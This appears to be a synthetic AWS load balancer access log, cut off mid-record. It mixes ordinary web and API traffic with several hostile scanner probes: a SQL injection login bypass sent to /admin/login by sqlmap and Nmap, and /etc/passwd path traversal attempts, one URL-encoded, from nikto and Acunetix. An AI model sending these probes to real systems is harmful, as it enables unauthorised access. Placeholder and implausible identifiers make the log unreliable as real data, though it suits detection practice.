"GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d000-9b094d5b7e5d4da7a36a606f" "prod-api-alb.example.com" "-" 3 2024-11-01T01:44:16.371322Z "forward" "-" "-" "10.0.205.80:443" "200" "-" "-" -http 2024-11-01T01:44:17.284452Z staging-alb 230.166.142.68:25807 179.62.213.186:443 0.149009 0.050607 0.010277 301 301 537 10453 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d001-5f007c20ee124698abb6e953" "staging-alb.example.com" "-" 4 2024-11-01T01:44:17.284452Z "forward" "-" "-" "179.62.213.186:443" "301" "-" "-" -https 2024-11-01T01:44:17.509729Z staging-alb 147.248.181.153:19137 121.176.94.88:8080 0.138158 0.687357 0.122666 200 200 239 2695 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d001-b083a2b83f814870940b498b" "staging-alb.example.com" "-" 6 2024-11-01T01:44:17.509729Z "forward" "-" "-" "121.176.94.88:8080" "200" "-" "-" -https 2024-11-01T01:44:18.466133Z prod-api-alb 193.27.228.38:17568 10.0.49.161:443 0.074614 0.255437 0.072042 200 200 513 3548 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d002-6a573aee46ea491382c0a3a4" "-" "-" 2 2024-11-01T01:44:18.466133Z "forward" "-" "-" "10.0.49.161:443" "200" "-" "-" -https 2024-11-01T01:44:19.041128Z prod-api-alb 243.39.121.166:49616 10.0.130.56:443 0.057032 0.054537 0.063836 200 200 216 8015 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d003-106d36f634e84b6c8e1ef3c8" "prod-api-alb.example.com" "-" 7 2024-11-01T01:44:19.041128Z "forward" "-" "-" "10.0.130.56:443" "200" "-" "-" -https 2024-11-01T01:44:20.597215Z prod-api-alb 66.145.149.191:60095 10.0.223.164:443 0.099844 0.254905 0.069960 200 200 439 6601 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d004-19404ca2e1f746f89bae9be3" "prod-api-alb.example.com" "-" 2 2024-11-01T01:44:20.597215Z "forward" "-" "-" "10.0.223.164:443" "200" "-" "-" -https 2024-11-01T01:44:21.761757Z prod-api-alb 134.254.68.169:61371 10.0.37.148:443 0.004336 0.104929 0.045774 404 404 457 14515 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d005-2abc27a7067b4b7cb5e61631" "prod-api-alb.example.com" "-" 4 2024-11-01T01:44:21.761757Z "forward" "-" "-" "10.0.37.148:443" "404" "-" "-" -https 2024-11-01T01:44:23.346177Z prod-web-alb 54.225.24.172:40104 10.0.26.156:443 0.093959 0.244359 0.030328 200 200 472 7590 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d007-9aa0e9e1c2ff462496215b80" "prod-web-alb.example.com" "-" 0 2024-11-01T01:44:23.346177Z "forward" "-" "-" "10.0.26.156:443" "200" "-" "-" -https 2024-11-01T01:44:25.141804Z prod-web-alb 5.204.135.50:24479 10.0.222.61:443 0.067815 0.264980 0.002605 301 301 126 3462 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d009-7633e8e3872447abaa985520" "prod-web-alb.example.com" "-" 7 2024-11-01T01:44:25.141804Z "forward" "-" "-" "10.0.222.61:443" "301" "-" "-" -https 2024-11-01T01:44:26.850058Z prod-api-alb 3.104.187.29:38357 10.0.228.123:443 0.076934 0.274071 0.040176 200 200 307 12415 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d00a-b0ff73032a174fdc877373af" "prod-api-alb.example.com" "-" 3 2024-11-01T01:44:26.850058Z "forward" "-" "-" "10.0.228.123:443" "200" "-" "-" -https 2024-11-01T01:44:27.730252Z prod-api-alb 45.155.205.19:10878 10.0.34.63:443 0.078825 0.371031 0.071540 403 403 835 3371 "GET /../../../etc/passwd HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d00b-5de7f959c56340fbb82dfbd2" "-" "-" 2 2024-11-01T01:44:27.730252Z "forward" "-" "-" "10.0.34.63:443" "403" "-" "-" -https 2024-11-01T01:44:28.238936Z prod-api-alb 100.22.244.59:38036 10.0.212.194:443 0.075755 0.032857 0.061241 404 404 166 12881 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d00c-8f2fef14ddec42678421a58a" "prod-api-alb.example.com" "-" 0 2024-11-01T01:44:28.238936Z "forward" "-" "-" "10.0.212.194:443" "404" "-" "-" -https 2024-11-01T01:44:29.783083Z prod-web-alb 200.254.174.35:56248 10.0.67.231:443 0.080705 0.103671 0.065539 200 200 485 10615 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d00d-30898ba411a44e4484c0172e" "prod-web-alb.example.com" "-" 1 2024-11-01T01:44:29.783083Z "forward" "-" "-" "10.0.67.231:443" "200" "-" "-" -https 2024-11-01T01:44:30.304985Z prod-api-alb 12.191.216.16:37752 10.0.233.125:443 0.022246 0.122814 0.070733 301 301 620 4891 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d00e-63a79bb2bf6b42baa12face2" "-" "-" 2 2024-11-01T01:44:30.304985Z "forward" "-" "-" "10.0.233.125:443" "301" "-" "-" -https 2024-11-01T01:44:30.897464Z staging-alb 45.155.205.51:15651 8.230.123.7:80 0.036500 0.426806 0.102864 404 404 367 1488 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d00e-e01dd938131f43f9b9c8cdff" "-" "-" 9 2024-11-01T01:44:30.897464Z "forward" "-" "-" "8.230.123.7:80" "404" "-" "-" -https 2024-11-01T01:44:32.185514Z staging-alb 199.212.48.48:32108 30.99.203.146:8080 0.018949 0.696210 0.131951 200 200 300 11389 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d010-fc7f576549dc400097203575" "staging-alb.example.com" "-" 10 2024-11-01T01:44:32.185514Z "forward" "-" "-" "30.99.203.146:8080" "200" "-" "-" -https 2024-11-01T01:44:32.921417Z prod-api-alb 167.9.0.22:27984 10.0.218.160:443 0.021981 0.308409 0.004822 200 200 71 5499 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d010-6c68f0c3792b4a7a8c81a7ed" "prod-api-alb.example.com" "-" 0 2024-11-01T01:44:32.921417Z "forward" "-" "-" "10.0.218.160:443" "200" "-" "-" -https 2024-11-01T01:44:34.790012Z prod-web-alb 255.169.72.112:62899 10.0.74.152:443 0.028662 0.154914 0.035417 200 200 670 6504 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d012-3b3340b36060427994f40f9d" "prod-web-alb.example.com" "-" 0 2024-11-01T01:44:34.790012Z "forward" "-" "-" "10.0.74.152:443" "200" "-" "-" -https 2024-11-01T01:44:35.241911Z prod-api-alb 135.170.180.30:44360 10.0.14.48:443 0.024794 0.432003 0.093155 302 302 947 383 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d013-df8b49a4791946c580e6b14c" "prod-api-alb.example.com" "-" 9 2024-11-01T01:44:35.241911Z "forward" "-" "-" "10.0.14.48:443" "302" "-" "-" -https 2024-11-01T01:44:36.804640Z prod-web-alb 191.22.152.244:44707 10.0.200.118:443 0.035202 0.272041 0.030729 200 200 543 9277 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d014-c97575be559745efbc1fb9ad" "prod-web-alb.example.com" "-" 7 2024-11-01T01:44:36.804640Z "forward" "-" "-" "10.0.200.118:443" "200" "-" "-" -http 2024-11-01T01:44:38.372737Z staging-alb 71.109.164.50:22815 83.60.137.87:443 0.087018 0.687145 0.100709 200 200 396 6607 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d016-b7f2488c45fc47fe8a98e78b" "staging-alb.example.com" "-" 3 2024-11-01T01:44:38.372737Z "forward" "-" "-" "83.60.137.87:443" "200" "-" "-" -https 2024-11-01T01:44:40.161539Z prod-web-alb 151.35.249.248:15778 10.0.193.226:443 0.066148 0.016695 0.055265 200 200 568 1081 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d018-4b4f0006352d4cac8765b751" "prod-web-alb.example.com" "-" 1 2024-11-01T01:44:40.161539Z "forward" "-" "-" "10.0.193.226:443" "200" "-" "-" -https 2024-11-01T01:44:40.824284Z prod-web-alb 39.116.3.114:62385 10.0.191.120:443 0.061468 0.261589 0.053119 200 200 142 6493 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d018-fc2ff082e02b4b5180e4cb44" "prod-web-alb.example.com" "-" 2 2024-11-01T01:44:40.824284Z "forward" "-" "-" "10.0.191.120:443" "200" "-" "-" -https 2024-11-01T01:44:41.870302Z prod-web-alb 148.47.87.59:28224 10.0.184.154:443 0.018971 0.079771 0.008749 200 200 898 3167 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d019-3e2ecda0bbc244af80aa356f" "prod-web-alb.example.com" "-" 9 2024-11-01T01:44:41.870302Z "forward" "-" "-" "10.0.184.154:443" "200" "-" "-" -https 2024-11-01T01:44:42.660732Z prod-api-alb 250.216.58.153:29573 10.0.146.121:443 0.031396 0.118291 0.024918 200 200 901 1117 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d01a-62975d0808624ce59ce532f5" "prod-api-alb.example.com" "-" 4 2024-11-01T01:44:42.660732Z "forward" "-" "-" "10.0.146.121:443" "200" "-" "-" -http 2024-11-01T01:44:42.790692Z staging-alb 177.35.100.176:52943 127.226.7.37:80 0.105768 0.465199 0.011673 302 302 924 3943 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d01a-64fb3259a9c54693a98ed632" "staging-alb.example.com" "-" 9 2024-11-01T01:44:42.790692Z "forward" "-" "-" "127.226.7.37:80" "302" "-" "-" -https 2024-11-01T01:44:43.220493Z prod-web-alb 110.88.164.93:30484 10.0.205.227:443 0.002354 0.388371 0.076822 200 200 277 2185 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d01b-83eaa16d1acc4c1b87982571" "prod-web-alb.example.com" "-" 1 2024-11-01T01:44:43.220493Z "forward" "-" "-" "10.0.205.227:443" "200" "-" "-" -https 2024-11-01T01:44:44.247410Z staging-alb 80.117.42.166:46000 229.106.149.232:80 0.025362 0.636079 0.066485 404 404 668 13524 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d01c-41e00853111c43aea7741968" "staging-alb.example.com" "-" 1 2024-11-01T01:44:44.247410Z "forward" "-" "-" "229.106.149.232:80" "404" "-" "-" -https 2024-11-01T01:44:44.720854Z prod-api-alb 178.191.160.229:27713 10.0.191.88:443 0.039346 0.044414 0.066182 301 301 485 8451 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d01c-2e307015fc7843a4af0ff068" "prod-api-alb.example.com" "-" 6 2024-11-01T01:44:44.720854Z "forward" "-" "-" "10.0.191.88:443" "301" "-" "-" -https 2024-11-01T01:44:45.881359Z prod-web-alb 13.0.8.113:14272 10.0.116.170:443 0.053668 0.261810 0.061841 301 301 62 710 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d01d-e19e82fda0854359aef9c8a1" "prod-web-alb.example.com" "-" 4 2024-11-01T01:44:45.881359Z "forward" "-" "-" "10.0.116.170:443" "301" "-" "-" -https 2024-11-01T01:44:46.285985Z prod-api-alb 245.211.63.25:42444 10.0.28.178:443 0.029225 0.300783 0.074491 302 302 282 11025 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d01e-83c7c7e7c26f4639a4a52c8d" "prod-api-alb.example.com" "-" 8 2024-11-01T01:44:46.285985Z "forward" "-" "-" "10.0.28.178:443" "302" "-" "-" -https 2024-11-01T01:44:47.705537Z prod-api-alb 88.1.231.91:64299 10.0.19.8:443 0.000567 0.471761 0.050531 404 404 489 12984 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d01f-09699b3c7e5f4fd99aad266e" "prod-api-alb.example.com" "-" 2 2024-11-01T01:44:47.705537Z "forward" "-" "-" "10.0.19.8:443" "404" "-" "-" -https 2024-11-01T01:44:48.347244Z prod-web-alb 159.39.69.110:48073 10.0.185.81:443 0.069721 0.318163 0.084753 200 200 22 12359 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d020-a29a6c4586664d88a559d119" "prod-web-alb.example.com" "-" 0 2024-11-01T01:44:48.347244Z "forward" "-" "-" "10.0.185.81:443" "200" "-" "-" -https 2024-11-01T01:44:50.114682Z staging-alb 87.16.19.131:15143 225.191.53.152:443 0.057208 0.024241 0.095115 404 404 995 7412 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d022-4fc0cbd17ac84abba656ba1b" "staging-alb.example.com" "-" 5 2024-11-01T01:44:50.114682Z "forward" "-" "-" "225.191.53.152:443" "404" "-" "-" -http 2024-11-01T01:44:51.299786Z staging-alb 249.192.193.179:53571 40.145.130.229:443 0.032865 0.237347 0.020036 200 200 547 11392 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d023-78921581af78436e815a26e4" "staging-alb.example.com" "-" 8 2024-11-01T01:44:51.299786Z "forward" "-" "-" "40.145.130.229:443" "200" "-" "-" -https 2024-11-01T01:44:51.921723Z prod-web-alb 170.49.72.178:64239 10.0.192.81:443 0.098075 0.079375 0.041084 200 200 967 883 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d023-45199c7d71824936b47051b6" "prod-web-alb.example.com" "-" 0 2024-11-01T01:44:51.921723Z "forward" "-" "-" "10.0.192.81:443" "200" "-" "-" -https 2024-11-01T01:44:52.807069Z prod-web-alb 25.195.241.145:39947 10.0.246.186:443 0.008747 0.148306 0.043049 302 302 32 13478 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d024-def42fef208147e29f58591b" "prod-web-alb.example.com" "-" 1 2024-11-01T01:44:52.807069Z "forward" "-" "-" "10.0.246.186:443" "302" "-" "-" -https 2024-11-01T01:44:54.595859Z prod-api-alb 185.181.129.31:31777 10.0.46.119:443 0.031939 0.316060 0.036740 403 403 8 7917 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d026-5c7ab511bf4b469199c219ff" "-" "-" 10 2024-11-01T01:44:54.595859Z "forward" "-" "-" "10.0.46.119:443" "403" "-" "-" -https 2024-11-01T01:44:55.689400Z prod-api-alb 159.231.90.227:57069 10.0.55.113:443 0.060689 0.236423 0.083900 200 200 732 14440 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d027-696f2c2db06c4f69b7fdbbe3" "prod-api-alb.example.com" "-" 6 2024-11-01T01:44:55.689400Z "forward" "-" "-" "10.0.55.113:443" "200" "-" "-" -https 2024-11-01T01:44:56.320989Z prod-api-alb 99.73.158.238:35619 10.0.212.143:443 0.098096 0.468429 0.073792 301 301 225 12622 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d028-8b41648c670b490baadc88de" "prod-api-alb.example.com" "-" 2 2024-11-01T01:44:56.320989Z "forward" "-" "-" "10.0.212.143:443" "301" "-" "-" -https 2024-11-01T01:44:57.673431Z prod-api-alb 83.90.62.127:20235 10.0.187.127:443 0.098510 0.438218 0.067315 404 404 788 9981 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d029-412837ae4f244c84b31fbf2e" "prod-api-alb.example.com" "-" 1 2024-11-01T01:44:57.673431Z "forward" "-" "-" "10.0.187.127:443" "404" "-" "-" -http 2024-11-01T01:44:58.279671Z staging-alb 52.67.217.130:60517 216.163.105.182:80 0.001236 0.438505 0.041490 301 301 634 6526 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d02a-5801fb13e4be4eadb9d875e7" "staging-alb.example.com" "-" 3 2024-11-01T01:44:58.279671Z "forward" "-" "-" "216.163.105.182:80" "301" "-" "-" -https 2024-11-01T01:44:59.052377Z prod-web-alb 129.82.130.153:64352 10.0.130.145:443 0.003280 0.007575 0.077298 200 200 14 1512 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d02b-2ae92c966bff4b63a05d9c00" "prod-web-alb.example.com" "-" 5 2024-11-01T01:44:59.052377Z "forward" "-" "-" "10.0.130.145:443" "200" "-" "-" -https 2024-11-01T01:44:59.689683Z prod-web-alb 165.22.176.251:53004 10.0.184.244:443 0.098585 0.142773 0.025187 200 200 118 12931 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d02b-39285b14b6f84b66bb2302ad" "prod-web-alb.example.com" "-" 5 2024-11-01T01:44:59.689683Z "forward" "-" "-" "10.0.184.244:443" "200" "-" "-" -https 2024-11-01T01:45:00.742894Z prod-web-alb 71.77.248.73:50026 10.0.32.71:443 0.072726 0.448178 0.093746 302 302 587 10300 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d02c-3b109f2cb8e34f6db7056bb4" "prod-web-alb.example.com" "-" 0 2024-11-01T01:45:00.742894Z "forward" "-" "-" "10.0.32.71:443" "302" "-" "-" -https 2024-11-01T01:45:01.617954Z prod-web-alb 49.95.184.68:62662 10.0.249.177:443 0.005592 0.397334 0.007817 301 301 757 13841 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d02d-4bad5eea2bdc4dbdb6e695d2" "prod-web-alb.example.com" "-" 5 2024-11-01T01:45:01.617954Z "forward" "-" "-" "10.0.249.177:443" "301" "-" "-" -https 2024-11-01T01:45:01.813838Z prod-api-alb 45.41.65.116:21905 10.0.221.38:443 0.018773 0.302530 0.088410 404 404 886 8002 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d02d-f56ddae760a74efd9fcf7ec7" "prod-api-alb.example.com" "-" 10 2024-11-01T01:45:01.813838Z "forward" "-" "-" "10.0.221.38:443" "404" "-" "-" -https 2024-11-01T01:45:03.500605Z prod-api-alb 252.205.36.127:37091 10.0.148.191:443 0.028993 0.310368 